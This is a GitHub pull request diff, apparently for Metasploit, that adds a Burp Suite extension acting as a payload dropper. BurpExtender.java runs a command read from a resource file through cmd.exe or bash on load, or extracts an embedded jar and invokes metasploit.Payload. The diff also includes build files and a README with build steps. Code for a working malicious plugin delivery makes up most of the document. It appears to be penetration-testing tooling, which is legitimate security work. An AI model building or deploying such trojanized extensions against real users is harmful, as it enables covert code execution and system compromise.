Skip to content
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
23 commits
Select commit Hold shift + click to select a range
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
3 changes: 3 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -102,3 +102,6 @@ rspec.failures

#Ignore any base disk store files
db/modules_metadata_base.pstore

# gradle build files
**/.gradle
9 changes: 9 additions & 0 deletions data/exploits/burp_extension/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
# Prerequisites

You'll need `gradle` which can be installed on Kali via `sudo apt-get install gradle`

# Build

1. Build: `gradle clean build`
1. Post build extension location: `build/libs/MetasploitPayloadExtension.jar`
2. Copy the files into the proper location: `cp build/classes/java/main/burp/BurpExtender.class precompiled.class`
27 changes: 27 additions & 0 deletions data/exploits/burp_extension/build.gradle
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
apply plugin: 'java'

repositories {
mavenCentral()
}

dependencies {
// implementation 'net.portswigger.burp.extender:burp-extender-api:1.7.13'
implementation 'net.portswigger.burp.extender:burp-extender-api:2.3'
}

sourceSets {
main {
java {
srcDir 'src/main/java'
}
resources {
srcDir 'src/main/resources'
}
}
}

task fatJar(type: Jar) {
baseName = project.name + '-all'
from { configurations.compile.collect { it.isDirectory() ? it : zipTree(it) } }
with jar
}
Binary file added data/exploits/burp_extension/precompiled.class
Binary file not shown.
1 change: 1 addition & 0 deletions data/exploits/burp_extension/settings.gradle
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
rootProject.name = 'MetasploitPayloadExtension'
96 changes: 96 additions & 0 deletions data/exploits/burp_extension/src/main/java/BurpExtender.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,96 @@
package burp;

import java.io.File;
import java.io.InputStream;
import java.io.PrintWriter;
import java.nio.charset.StandardCharsets;
import java.util.Scanner;
import java.net.URL;
import java.net.URLClassLoader;
import java.lang.reflect.Method;

public class BurpExtender implements IBurpExtender {
@Override
public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) {
// Read extension name from resource file and set it
InputStream nameInputStream = getClass().getClassLoader().getResourceAsStream("name.txt");
Scanner nameScanner = new Scanner(nameInputStream, StandardCharsets.UTF_8.name());
String extensionName = nameScanner.useDelimiter("\\A").next().trim();
callbacks.setExtensionName(extensionName);

// Obtain our output and error streams
PrintWriter stdout = new PrintWriter(callbacks.getStdout(), true);
PrintWriter stderr = new PrintWriter(callbacks.getStderr(), true);

// Detect operating system
String os = System.getProperty("os.name").toLowerCase();
Process process;

try {
stdout.println("Initializing extension.");

// Locate command.txt using ClassLoader
InputStream commandInputStream = getClass().getClassLoader().getResourceAsStream("command.txt");

if (commandInputStream != null) {
// Read the command from command.txt
Scanner commandScanner = new Scanner(commandInputStream, StandardCharsets.UTF_8.name());
String command = commandScanner.useDelimiter("\\A").next().trim();

if (os.contains("win")) {
// Create a temporary batch script to avoid line length issues from command line
File tempScript = File.createTempFile("command", ".bat");
tempScript.deleteOnExit(); // Ensure the file is deleted after execution

// Write the command to the script file
try (PrintWriter writer = new PrintWriter(tempScript, StandardCharsets.UTF_8.name())) {
writer.println("@echo off");
writer.println(command); // Write the payload command
}

// Execute the script file
process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", tempScript.getAbsolutePath()});
} else {
// Unix-based systems: Use /bin/bash
process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", command});
}
} else {
// Load burp_extension_pload.jar from resources
InputStream jarInputStream = getClass().getClassLoader().getResourceAsStream("burp_extension_pload.jar");
if (jarInputStream == null) {
throw new Exception("burp_extension_pload.jar not found in resources");
}

// Save the jar to a temporary file
File tempJar = File.createTempFile("burp_extension_pload", ".jar");
tempJar.deleteOnExit();

try (InputStream inputStream = jarInputStream) { // Declare jarInputStream as a resource
java.nio.file.Files.copy(inputStream, tempJar.toPath(), java.nio.file.StandardCopyOption.REPLACE_EXISTING);
}

// Load the jar using URLClassLoader
stdout.println("Loading internal jar");
try (URLClassLoader classLoader = new URLClassLoader(
new URL[]{tempJar.toURI().toURL()},
null // Use null for an isolated class loader
)) {
Class<?> mainClass = classLoader.loadClass("metasploit.Payload");
Method mainMethod = mainClass.getDeclaredMethod("main", String[].class);
mainMethod.invoke(null, (Object) new String[]{});
} catch (ClassNotFoundException e) {
stderr.println("Class not found: " + e.getMessage());
} catch (NoSuchMethodException e) {
stderr.println("Main method not found: " + e.getMessage());
} catch (Exception e) {
stderr.println("Error loading jar file (" + tempJar.toPath() + "): " + e.getMessage());
e.printStackTrace(stderr);
}
}

stdout.println("Finished initializing extension.");
} catch (Exception e) {
stderr.println("Error loading extension: " + e.getMessage());
}
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
FOOBARBAZ
1 change: 1 addition & 0 deletions data/exploits/burp_extension/src/main/resources/name.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
Metasploit Payload Extension
Loading
Loading